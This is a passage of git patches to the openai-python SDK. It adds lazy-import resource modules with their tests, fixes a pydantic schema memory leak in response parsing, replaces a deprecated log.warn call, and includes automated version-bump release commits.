- AsyncUploadsWithRawResponse,
- UploadsWithStreamingResponse,
- AsyncUploadsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .parts import (
+ Parts as Parts,
+ AsyncParts as AsyncParts,
+ PartsWithRawResponse as PartsWithRawResponse,
+ AsyncPartsWithRawResponse as AsyncPartsWithRawResponse,
+ PartsWithStreamingResponse as PartsWithStreamingResponse,
+ AsyncPartsWithStreamingResponse as AsyncPartsWithStreamingResponse,
+ )
+ from .uploads import (
+ Uploads as Uploads,
+ AsyncUploads as AsyncUploads,
+ UploadsWithRawResponse as UploadsWithRawResponse,
+ AsyncUploadsWithRawResponse as AsyncUploadsWithRawResponse,
+ UploadsWithStreamingResponse as UploadsWithStreamingResponse,
+ AsyncUploadsWithStreamingResponse as AsyncUploadsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Parts": (".parts", "Parts"),
+ "AsyncParts": (".parts", "AsyncParts"),
+ "PartsWithRawResponse": (".parts", "PartsWithRawResponse"),
+ "AsyncPartsWithRawResponse": (".parts", "AsyncPartsWithRawResponse"),
+ "PartsWithStreamingResponse": (".parts", "PartsWithStreamingResponse"),
+ "AsyncPartsWithStreamingResponse": (".parts", "AsyncPartsWithStreamingResponse"),
+ "Uploads": (".uploads", "Uploads"),
+ "AsyncUploads": (".uploads", "AsyncUploads"),
+ "UploadsWithRawResponse": (".uploads", "UploadsWithRawResponse"),
+ "AsyncUploadsWithRawResponse": (".uploads", "AsyncUploadsWithRawResponse"),
+ "UploadsWithStreamingResponse": (".uploads", "UploadsWithStreamingResponse"),
+ "AsyncUploadsWithStreamingResponse": (".uploads", "AsyncUploadsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "parts",
+ "uploads",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Parts",
diff --git a/src/openai/resources/vector_stores/__init__.py b/src/openai/resources/vector_stores/__init__.py
index 6f81d6786f..f371aaf0f7 100644
--- a/src/openai/resources/vector_stores/__init__.py
+++ b/src/openai/resources/vector_stores/__init__.py
@@ -1,29 +1,76 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .files import (
- Files,
- AsyncFiles,
- FilesWithRawResponse,
- AsyncFilesWithRawResponse,
- FilesWithStreamingResponse,
- AsyncFilesWithStreamingResponse,
-)
-from .file_batches import (
- FileBatches,
- AsyncFileBatches,
- FileBatchesWithRawResponse,
- AsyncFileBatchesWithRawResponse,
- FileBatchesWithStreamingResponse,
- AsyncFileBatchesWithStreamingResponse,
-)
-from .vector_stores import (
- VectorStores,
- AsyncVectorStores,
- VectorStoresWithRawResponse,
- AsyncVectorStoresWithRawResponse,
- VectorStoresWithStreamingResponse,
- AsyncVectorStoresWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .files import (
+ Files as Files,
+ AsyncFiles as AsyncFiles,
+ FilesWithRawResponse as FilesWithRawResponse,
+ AsyncFilesWithRawResponse as AsyncFilesWithRawResponse,
+ FilesWithStreamingResponse as FilesWithStreamingResponse,
+ AsyncFilesWithStreamingResponse as AsyncFilesWithStreamingResponse,
+ )
+ from .file_batches import (
+ FileBatches as FileBatches,
+ AsyncFileBatches as AsyncFileBatches,
+ FileBatchesWithRawResponse as FileBatchesWithRawResponse,
+ AsyncFileBatchesWithRawResponse as AsyncFileBatchesWithRawResponse,
+ FileBatchesWithStreamingResponse as FileBatchesWithStreamingResponse,
+ AsyncFileBatchesWithStreamingResponse as AsyncFileBatchesWithStreamingResponse,
+ )
+ from .vector_stores import (
+ VectorStores as VectorStores,
+ AsyncVectorStores as AsyncVectorStores,
+ VectorStoresWithRawResponse as VectorStoresWithRawResponse,
+ AsyncVectorStoresWithRawResponse as AsyncVectorStoresWithRawResponse,
+ VectorStoresWithStreamingResponse as VectorStoresWithStreamingResponse,
+ AsyncVectorStoresWithStreamingResponse as AsyncVectorStoresWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Files": (".files", "Files"),
+ "AsyncFiles": (".files", "AsyncFiles"),
+ "FilesWithRawResponse": (".files", "FilesWithRawResponse"),
+ "AsyncFilesWithRawResponse": (".files", "AsyncFilesWithRawResponse"),
+ "FilesWithStreamingResponse": (".files", "FilesWithStreamingResponse"),
+ "AsyncFilesWithStreamingResponse": (".files", "AsyncFilesWithStreamingResponse"),
+ "FileBatches": (".file_batches", "FileBatches"),
+ "AsyncFileBatches": (".file_batches", "AsyncFileBatches"),
+ "FileBatchesWithRawResponse": (".file_batches", "FileBatchesWithRawResponse"),
+ "AsyncFileBatchesWithRawResponse": (".file_batches", "AsyncFileBatchesWithRawResponse"),
+ "FileBatchesWithStreamingResponse": (".file_batches", "FileBatchesWithStreamingResponse"),
+ "AsyncFileBatchesWithStreamingResponse": (".file_batches", "AsyncFileBatchesWithStreamingResponse"),
+ "VectorStores": (".vector_stores", "VectorStores"),
+ "AsyncVectorStores": (".vector_stores", "AsyncVectorStores"),
+ "VectorStoresWithRawResponse": (".vector_stores", "VectorStoresWithRawResponse"),
+ "AsyncVectorStoresWithRawResponse": (".vector_stores", "AsyncVectorStoresWithRawResponse"),
+ "VectorStoresWithStreamingResponse": (".vector_stores", "VectorStoresWithStreamingResponse"),
+ "AsyncVectorStoresWithStreamingResponse": (".vector_stores", "AsyncVectorStoresWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "file_batches",
+ "files",
+ "vector_stores",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Files",
diff --git a/tests/test_lazy_imports.py b/tests/test_lazy_imports.py
new file mode 100644
index 0000000000..34c11626fe
--- /dev/null
+++ b/tests/test_lazy_imports.py
@@ -0,0 +1,239 @@
+from __future__ import annotations
+
+import os
+import sys
+import subprocess
+from typing import TYPE_CHECKING
+from pathlib import Path
+
+import pytest
+
+import openai
+
+if TYPE_CHECKING:
+ from typing_extensions import assert_type
+
+ from openai.resources import Chat, AsyncChat
+ from openai.lib.streaming import AssistantEventHandler as StreamingHandler
+ from openai.resources.chat import Chat as CanonicalChat, AsyncChat as CanonicalAsyncChat
+ from openai.lib.streaming._assistants import (
+ AssistantEventHandler as CanonicalHandler,
+ AsyncAssistantEventHandler as CanonicalAsyncHandler,
+ )
+
+ assert_type(Chat, type[CanonicalChat])
+ assert_type(AsyncChat, type[CanonicalAsyncChat])
+ assert_type(openai.AssistantEventHandler, type[CanonicalHandler])
+ assert_type(openai.AsyncAssistantEventHandler, type[CanonicalAsyncHandler])
+ assert_type(StreamingHandler, type[CanonicalHandler])
+
+
+def _run_python(source: str) -> None:
+ # Each case needs an empty module cache, including when the suite has already
+ # imported every API resource during collection.
+ env = os.environ.copy()
+ env["PYTHONPATH"] = str(Path(openai.__file__).parents[1])
+ result = subprocess.run(
+ [sys.executable, "-c", source],
+ env=env,
+ capture_output=True,
+ text=True,
+ timeout=60,
+ )
+ assert result.returncode == 0, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ "statement",
+ [
+ "import openai",
+ "from openai import OpenAI, AsyncOpenAI",
+ "from openai.resources import Chat",
+ "from openai.lib.streaming.chat import ChatCompletionStream",
+ "from openai.lib.streaming.responses import ResponseStream",
+ ],
+)
+def test_import_does_not_load_assistants(statement: str) -> None:
+ _run_python(
+ statement
+ + """
+import sys
+assert "openai.lib.streaming._assistants" not in sys.modules
+assert not any(name == "openai.types.beta" or name.startswith("openai.types.beta.") for name in sys.modules)
+"""
+ )
+
+
+def test_resource_packages_load_only_accessed_exports() -> None:
+ _run_python(
+ """
+import importlib
+import sys
+
+resources = importlib.import_module("openai.resources")
+chat = importlib.import_module("openai.resources.chat")
+completions = importlib.import_module("openai.resources.chat.completions")
+for module in (resources, chat, completions):
+ assert set(module.__all__) <= set(dir(module))
+assert "openai.resources.chat.chat" not in sys.modules
+assert "openai.resources.chat.completions.completions" not in sys.modules
+
+from openai.resources import Chat
+from openai.resources.chat.chat import Chat as CanonicalChat
+assert Chat is CanonicalChat
+assert resources.Chat is Chat
+assert "openai.resources.audio" not in sys.modules
+assert "openai.resources.beta" not in sys.modules
+"""
+ )
+
+
+def test_lazy_exports_preserve_public_import_contracts() -> None:
+ _run_python(
+ """
+import importlib
+import inspect
+import pickle
+import sys
+import typing
+import openai
+
+resources = importlib.import_module("openai.resources")
+streaming = importlib.import_module("openai.lib.streaming")
+assert {"AssistantEventHandler", "AsyncAssistantEventHandler"} <= set(dir(openai))
+assert set(streaming.__all__) <= set(dir(streaming))
+assert set(resources.__all__) <= set(dir(resources))
+assert {"chat", "beta"} <= set(dir(resources))
+assert "openai.types.beta" not in sys.modules
+
+from openai import AssistantEventHandler, AsyncAssistantEventHandler
+from openai.lib.streaming._assistants import AssistantEventHandler as Canonical
+assert AssistantEventHandler is Canonical
+for cls in (AssistantEventHandler, AsyncAssistantEventHandler):
+ assert dict(inspect.getmembers(openai))[cls.__name__] is cls
+ assert pickle.loads(pickle.dumps(cls)) is cls
+ for method in ("on_event", "on_run_step_delta", "on_tool_call_delta"):
+ assert "return" in typing.get_type_hints(getattr(cls, method))
+
+namespace = {}
+exec("from openai.lib.streaming import *", namespace)
+assert namespace["AssistantEventHandler"] is Canonical
+exec("from openai.resources import *", namespace)
+assert all(namespace[name] is getattr(resources, name) for name in resources.__all__)
+exec("from openai import *", namespace)
+assert all(namespace[name] is getattr(openai, name) for name in openai.__all__)
+
+import openai.types as types
+assert types is sys.modules["openai.types"]
+assert importlib.reload(types) is types
+assert importlib.reload(resources) is resources
+assert resources.Chat is importlib.import_module("openai.resources.chat").Chat
+assert resources.chat is importlib.import_module("openai.resources.chat")
+for module in (openai, resources, streaming):
+ try:
+ module.definitely_not_an_export
+ except AttributeError as exc:
+ assert module.__name__ in str(exc)
+ else:
+ raise AssertionError("unknown names must raise AttributeError")
+"""
+ )
+
+
+@pytest.mark.parametrize("asynchronous", [False, True], ids=["sync", "async"])
+def test_first_requests_and_streams_do_not_load_assistants(asynchronous: bool) -> None:
+ _run_python(
+ f"asynchronous = {asynchronous!r}\n"
+ + """
+import asyncio
+import json
+import sys
+import httpx2
+from openai import OpenAI, AsyncOpenAI
+
+response = {
+ "id": "resp_test", "object": "response", "created_at": 0,
+ "status": "completed", "model": "test-model", "output": [],
+}
+completion = {
+ "id": "chat_test", "object": "chat.completion", "created": 0, "model": "test-model",
+ "choices": [{"index": 0, "finish_reason": "stop", "message": {"role": "assistant", "content": "ok"}}],
+}
+
+def handle(request):
+ body = json.loads(request.content)
+ if request.url.path.endswith("/responses"):
+ payload = response
+ events = [
+ {"type": "response.created", "sequence_number": 0, "response": dict(response, status="in_progress")},
+ {"type": "response.completed", "sequence_number": 1, "response": response},
+ ]
+ else:
+ payload = completion
+ events = [{
+ "id": "chat_test", "object": "chat.completion.chunk", "created": 0, "model": "test-model",
+ "choices": [{"index": 0, "finish_reason": "stop", "delta": {"role": "assistant", "content": "ok"}}],
+ }]
+ if body.get("stream"):
+ data = "".join("data: " + json.dumps(event) + "\\n\\n" for event in events) + "data: [DONE]\\n\\n"
+ return httpx2.Response(200, headers={"content-type": "text/event-stream"}, content=data)
+ return httpx2.Response(200, json=payload)
+
+def assert_isolated():
+ assert "openai.lib.streaming._assistants" not in sys.modules
+ assert not any(name == "openai.types.beta" or name.startswith("openai.types.beta.") for name in sys.modules)
+
+async def run_async():
+ async with AsyncOpenAI(api_key="fake-test-key", http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handle))) as c:
+ assert (await c.responses.create(model="test-model", input="hello")).id == "resp_test"
+ assert_isolated()
+ assert (await c.chat.completions.create(model="test-model", messages=[])).choices[0].message.content == "ok"
+ async with c.responses.stream(model="test-model", input="hello") as stream:
+ assert (await stream.get_final_response()).status == "completed"
+ async with c.chat.completions.stream(model="test-model", messages=[]) as stream:
+ assert (await stream.get_final_completion()).choices[0].message.content == "ok"
+ assert_isolated()
+
+if asynchronous:
+ asyncio.run(run_async())
+else:
+ with OpenAI(api_key="fake-test-key", http_client=httpx2.Client(transport=httpx2.MockTransport(handle))) as c:
+ assert c.responses.create(model="test-model", input="hello").id == "resp_test"
+ assert_isolated()
+ assert c.chat.completions.create(model="test-model", messages=[]).choices[0].message.content == "ok"
+ with c.responses.stream(model="test-model", input="hello") as stream:
+ assert stream.get_final_response().status == "completed"
+ with c.chat.completions.stream(model="test-model", messages=[]) as stream:
+ assert stream.get_final_completion().choices[0].message.content == "ok"
+ assert_isolated()
+"""
+ )
+
+
+@pytest.mark.parametrize("asynchronous", [False, True], ids=["sync", "async"])
+def test_concurrent_first_access_preserves_class_identity(asynchronous: bool) -> None:
+ _run_python(
+ f"asynchronous = {asynchronous!r}\n"
+ + """
+import concurrent.futures
+import importlib
+import threading
+import openai
+resources = importlib.import_module("openai.resources")
+responses = importlib.import_module("openai.resources.responses")
+prefix = "Async" if asynchronous else ""
+exports = [(resources, prefix + "Chat"), (responses, prefix + "Responses"), (openai, prefix + "AssistantEventHandler")]
+barrier = threading.Barrier(2 * len(exports))
+
+def resolve(module, name):
+ barrier.wait(timeout=30)
+ return getattr(module, name)
+
+with concurrent.futures.ThreadPoolExecutor(max_workers=2 * len(exports)) as executor:
+ futures = [executor.submit(resolve, module, name) for module, name in exports * 2]
+ values = [future.result(timeout=45) for future in futures]
+for index, (module, name) in enumerate(exports):
+ assert values[index] is values[index + len(exports)], name
+ assert values[index] is getattr(module, name)
+"""
+ )
From bccad31277a98f120bdce604a35a5774a0beaeae Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Fri, 18 Sep 2026 18:55:13 +0000
Subject: [PATCH 169/341] release: 3.16.1 (#3899)
Automated Release PR
---
##
[3.16.1](https://github.com/openai/openai-python/compare/v3.16.0...v3.16.1)
(2026-09-18)
### Bug Fixes
* **api:** avoid loading unrelated API resources on first use
([#3898](https://github.com/openai/openai-python/issues/3898))
([68e4317](https://github.com/openai/openai-python/commit/68e4317aa3df4b6e7a5ea3f75833bdd7d76e447d))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 7 +++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 11 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 2c220f1b67..0117fb447c 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.16.0"
+ ".": "3.16.1"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index bb31f17df5..95aff09cd8 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,12 @@
# Changelog
+## [3.16.1](https://github.com/openai/openai-python/compare/v3.16.0...v3.16.1) (2026-09-18)
+
+
+### Bug Fixes
+
+* **api:** avoid loading unrelated API resources on first use ([#3898](https://github.com/openai/openai-python/issues/3898)) ([68e4317](https://github.com/openai/openai-python/commit/68e4317aa3df4b6e7a5ea3f75833bdd7d76e447d))
+
## [3.16.0](https://github.com/openai/openai-python/compare/v3.15.0...v3.16.0) (2026-09-18)
diff --git a/pyproject.toml b/pyproject.toml
index 01f573b765..befdb59130 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.16.0"
+version = "3.16.1"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 9c6c33f3d6..395c80d958 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.16.0" # x-release-please-version
+__version__ = "3.16.1" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 0d2ac62617..584f310c65 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.16.0" # x-release-please-version
+version = "3.16.1" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 009b7f6ae6493e1abfa7583449595f144c8beb5a Mon Sep 17 00:00:00 2001
From: Mukunda Rao Katta
Date: Fri, 18 Sep 2026 21:13:01 +0000
Subject: [PATCH 170/341] fix(parsing): drop TextFormatT parameterization in
parse_response to fix memory leak (#3084) (#3088)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Why
Closes #3084.
`AsyncResponses.parse()` leaks pydantic schema objects without bound.
The issue author captured it with a flame graph — every call allocates a
fresh Rust-backed `SchemaValidator`/`SchemaSerializer` that never gets
freed.
## Root cause
`parse_response()` called `construct_type_unchecked` with three types
parameterized by a free module-level `TypeVar`:
```python
construct_type_unchecked(type_=ParsedResponseOutputText[TextFormatT], ...)
construct_type_unchecked(type_=ParsedResponseOutputMessage[TextFormatT], ...)
construct_type_unchecked(type_=ParsedResponse[TextFormatT], ...)
```
Pydantic can't resolve a free `TypeVar`, so
`model_rebuild(raise_errors=False)` returns `False`.
`MockCoreSchema._built_memo` only caches the rebuilt schema when
`model_rebuild` succeeds — so the cache is never populated and a new
schema is allocated on every call.
## Fix
Drop the `[TextFormatT]` parameterization at the `type_=` argument. At
runtime Python's generics are erased anyway — the constructed object's
type is identical either way. Only the pydantic schema rebuild path
differs:
| | Before | After |
|---|---|---|
| `type_` arg | `ParsedResponse[TextFormatT]` | `ParsedResponse` |
| `model_rebuild` | always returns `False` | succeeds |
| `_built_memo` | never populated | populated once, reused |
| Per-call allocation | heavy Rust objects | cache hit |
This is exactly what the issue author diagnosed.
## Verification
- Ran the existing `tests/lib/responses/test_responses.py` suite
locally: **5/5 passing** — no functional regression.
- The change is purely about schema caching behavior. Callers see no
difference in returned objects or their types.
## Scope
Minimal — 3 sites in one file, inline comments pointing back to #3084
for maintainability. No public API change, no test changes needed
(existing tests cover the parse path).
---------
Signed-off-by: Mukunda Katta
Co-authored-by: Marcus Wood
---
src/openai/lib/_parsing/_responses.py | 8 ++--
.../lib/streaming/responses/_responses.py | 2 +-
src/openai/resources/responses/responses.py | 4 +-
.../lib/responses/test_commentary_parsing.py | 42 ++++++++++++++++++-
4 files changed, 49 insertions(+), 7 deletions(-)
diff --git a/src/openai/lib/_parsing/_responses.py b/src/openai/lib/_parsing/_responses.py
index e6a7165971..03396a73f0 100644
--- a/src/openai/lib/_parsing/_responses.py
+++ b/src/openai/lib/_parsing/_responses.py
@@ -56,6 +56,8 @@ def parse_response(
input_tools: Iterable[ToolParam] | Omit | None,
response: Response | ParsedResponse[object],
) -> ParsedResponse[TextFormatT]:
+ # Keep generic annotations in quoted casts: runtime specialization can create
+ # new model classes in each async context and retain them in the type adapter cache.
output_list: List[ParsedResponseOutputItem[TextFormatT]] = []
for output in response.output or []:
@@ -68,7 +70,7 @@ def parse_response(
content_list.append(
construct_type_unchecked(
- type_=ParsedResponseOutputText[TextFormatT],
+ type_=cast("type[ParsedResponseOutputText[TextFormatT]]", ParsedResponseOutputText),
value={
**item.to_dict(),
"parsed": parse_text(item.text, text_format=text_format, phase=output.phase),
@@ -78,7 +80,7 @@ def parse_response(
output_list.append(
construct_type_unchecked(
- type_=ParsedResponseOutputMessage[TextFormatT],
+ type_=cast("type[ParsedResponseOutputMessage[TextFormatT]]", ParsedResponseOutputMessage),
value={
**output.to_dict(),
"content": content_list,
@@ -133,7 +135,7 @@ def parse_response(
output_list.append(output)
return construct_type_unchecked(
- type_=ParsedResponse[TextFormatT],
+ type_=cast("type[ParsedResponse[TextFormatT]]", ParsedResponse),
value={
**response.to_dict(),
"output": output_list,
diff --git a/src/openai/lib/streaming/responses/_responses.py b/src/openai/lib/streaming/responses/_responses.py
index da4c00f845..708de7b3d6 100644
--- a/src/openai/lib/streaming/responses/_responses.py
+++ b/src/openai/lib/streaming/responses/_responses.py
@@ -283,7 +283,7 @@ def handle_event(self, event: RawResponseStreamEvent) -> List[ResponseStreamEven
events.append(
build(
- ResponseTextDoneEvent[TextFormatT],
+ cast("type[ResponseTextDoneEvent[TextFormatT]]", ResponseTextDoneEvent),
content_index=event.content_index,
item_id=event.item_id,
output_index=event.output_index,
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index cfcc383faf..cf403afcfa 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -1422,7 +1422,7 @@ def parser(raw_response: Response) -> ParsedResponse[TextFormatT]:
),
# we turn the `Response` instance into a `ParsedResponse`
# in the `parser` function above
- cast_to=cast(Type[ParsedResponse[TextFormatT]], Response),
+ cast_to=cast("Type[ParsedResponse[TextFormatT]]", Response),
)
@overload
@@ -3305,7 +3305,7 @@ def parser(raw_response: Response) -> ParsedResponse[TextFormatT]:
),
# we turn the `Response` instance into a `ParsedResponse`
# in the `parser` function above
- cast_to=cast(Type[ParsedResponse[TextFormatT]], Response),
+ cast_to=cast("Type[ParsedResponse[TextFormatT]]", Response),
)
@overload
diff --git a/tests/lib/responses/test_commentary_parsing.py b/tests/lib/responses/test_commentary_parsing.py
index 9ef78335c4..1b41130c8f 100644
--- a/tests/lib/responses/test_commentary_parsing.py
+++ b/tests/lib/responses/test_commentary_parsing.py
@@ -1,13 +1,15 @@
from __future__ import annotations
import json
+import asyncio
+import contextvars
from typing import Any
import httpx2
import pytest
from pydantic import BaseModel, ValidationError
-from openai import OpenAI, AsyncOpenAI, omit
+from openai import OpenAI, AsyncOpenAI, omit, _models
from openai._types import Omit
from openai.types.responses import ParsedResponse
from openai.lib.streaming.responses import ResponseStreamEvent
@@ -309,3 +311,41 @@ async def test_phase_selection_preserves_content(sync: bool, streaming: bool, ph
assert content.parsed == (Result(answer="final") if actual.phase == "final_answer" else None)
else:
assert content.refusal == raw["refusal"]
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("streaming", [False, True], ids=["parse", "stream"])
+async def test_parsing_reuses_types_across_contexts(sync: bool, streaming: bool) -> None:
+ response_types: set[tuple[type, type, type]] = set()
+ event_types: set[type] = set()
+
+ async def request() -> None:
+ if streaming:
+ emitted, response = await _stream(sync, _events("Preparing.", '{"answer":"final"}'))
+ done = [event for event in emitted if event.type == "response.output_text.done"]
+ assert [event.parsed for event in done] == [None, Result(answer="final")]
+ event_types.update(type(event) for event in done)
+ else:
+ response = await _parse(sync, [_message('{"answer":"final"}')])
+ assert response.output_parsed == Result(answer="final")
+ message = response.output[-1]
+ assert message.type == "message"
+ part = message.content[0]
+ assert part.type == "output_text"
+ assert part.parsed == Result(answer="final")
+ response_types.add((type(response), type(message), type(part)))
+
+ # Inherited contexts can share Pydantic's generic cache and hide the leak.
+ for _ in range(3):
+ await contextvars.Context().run(asyncio.create_task, request())
+
+ # Pydantic v1 has no TypeAdapter cache, but still exercises type reuse below.
+ cache_info = getattr(getattr(_models, "_CachedTypeAdapter", None), "cache_info", None)
+ before = cache_info().currsize if cache_info is not None else None
+ for _ in range(10):
+ await contextvars.Context().run(asyncio.create_task, request())
+ if cache_info is not None:
+ assert cache_info().currsize == before
+ assert len(response_types) == 1
+ if streaming:
+ assert len(event_types) == 1
From c9c3e694863c5aa58355fd0a32ea915e911832f2 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Fri, 18 Sep 2026 21:22:01 +0000
Subject: [PATCH 171/341] release: 3.16.2 (#3903)
Automated Release PR
---
##
[3.16.2](https://github.com/openai/openai-python/compare/v3.16.1...v3.16.2)
(2026-09-18)
### Bug Fixes
* **parsing:** drop TextFormatT parameterization in parse_response to
fix memory leak
([#3084](https://github.com/openai/openai-python/issues/3084))
([#3088](https://github.com/openai/openai-python/issues/3088))
([009b7f6](https://github.com/openai/openai-python/commit/009b7f6ae6493e1abfa7583449595f144c8beb5a))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 7 +++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 11 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 0117fb447c..391333e0e9 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.16.1"
+ ".": "3.16.2"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 95aff09cd8..1380eeded8 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,12 @@
# Changelog
+## [3.16.2](https://github.com/openai/openai-python/compare/v3.16.1...v3.16.2) (2026-09-18)
+
+
+### Bug Fixes
+
+* **parsing:** drop TextFormatT parameterization in parse_response to fix memory leak ([#3084](https://github.com/openai/openai-python/issues/3084)) ([#3088](https://github.com/openai/openai-python/issues/3088)) ([009b7f6](https://github.com/openai/openai-python/commit/009b7f6ae6493e1abfa7583449595f144c8beb5a))
+
## [3.16.1](https://github.com/openai/openai-python/compare/v3.16.0...v3.16.1) (2026-09-18)
diff --git a/pyproject.toml b/pyproject.toml
index befdb59130..231a977e3a 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.16.1"
+version = "3.16.2"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 395c80d958..3354846838 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.16.1" # x-release-please-version
+__version__ = "3.16.2" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 584f310c65..45a0a6f081 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.16.1" # x-release-please-version
+version = "3.16.2" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 56b17081e22d8e168421e91bb400017ec2b0be89 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=99=88=E5=BF=97=E8=B0=A6?=
<89645338+simpleqt@users.noreply.github.com>
Date: Fri, 18 Sep 2026 21:27:24 +0000
Subject: [PATCH 172/341] fix(lib): use log.warning instead of the deprecated
log.warn (#3878)
## Summary
`src/openai/lib/_parsing/_audio.py:35` uses the deprecated
`logging.Logger.warn` alias (emits `DeprecationWarning`); the twin
function at line 56 and `_completions.py:128` already use `log.warning`.
Aligned. This is the only `log.warn` occurrence in the SDK, in a
hand-written generator-safe module.
## Checklist
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
---------
Co-authored-by: Marcus Wood
---
src/openai/lib/_parsing/_audio.py | 2 +-
tests/lib/test_audio_response_format.py | 12 ++++--------
2 files changed, 5 insertions(+), 9 deletions(-)
diff --git a/src/openai/lib/_parsing/_audio.py b/src/openai/lib/_parsing/_audio.py
index e97e088461..cd76e23ad2 100644
--- a/src/openai/lib/_parsing/_audio.py
+++ b/src/openai/lib/_parsing/_audio.py
@@ -32,7 +32,7 @@ def get_transcription_response_format_type(
elif TYPE_CHECKING: # type: ignore[unreachable]
assert_never(response_format)
else:
- log.warn("Unexpected audio response format: %s", response_format)
+ log.warning("Unexpected audio response format: %s", response_format)
return Transcription
diff --git a/tests/lib/test_audio_response_format.py b/tests/lib/test_audio_response_format.py
index b7e23dc00d..a1456fa16b 100644
--- a/tests/lib/test_audio_response_format.py
+++ b/tests/lib/test_audio_response_format.py
@@ -84,21 +84,17 @@ def test_fallback_keeps_resource_logger_and_method(
assert select_response_type(resource, response_format) is expected_type
- if resource == "transcriptions":
- logger.warn.assert_called_once_with("Unexpected audio response format: %s", response_format)
- logger.warning.assert_not_called()
- else:
- logger.warning.assert_called_once_with("Unexpected audio response format: %s", response_format)
- logger.warn.assert_not_called()
+ logger.warning.assert_called_once_with("Unexpected audio response format: %s", response_format)
+ logger.warn.assert_not_called()
+@pytest.mark.filterwarnings("error::DeprecationWarning")
def test_fallback_keeps_historical_logger_name_and_warning(caplog: pytest.LogCaptureFixture) -> None:
logger = logging.getLogger("openai.audio.transcriptions")
assert transcriptions.log is logger
assert translations.log is logger
- with pytest.warns(DeprecationWarning, match="deprecated"):
- assert select_response_type("transcriptions", "future-format") is Transcription
+ assert select_response_type("transcriptions", "future-format") is Transcription
assert select_response_type("translations", "future-format") is Translation
records = [record for record in caplog.records if record.name == logger.name]
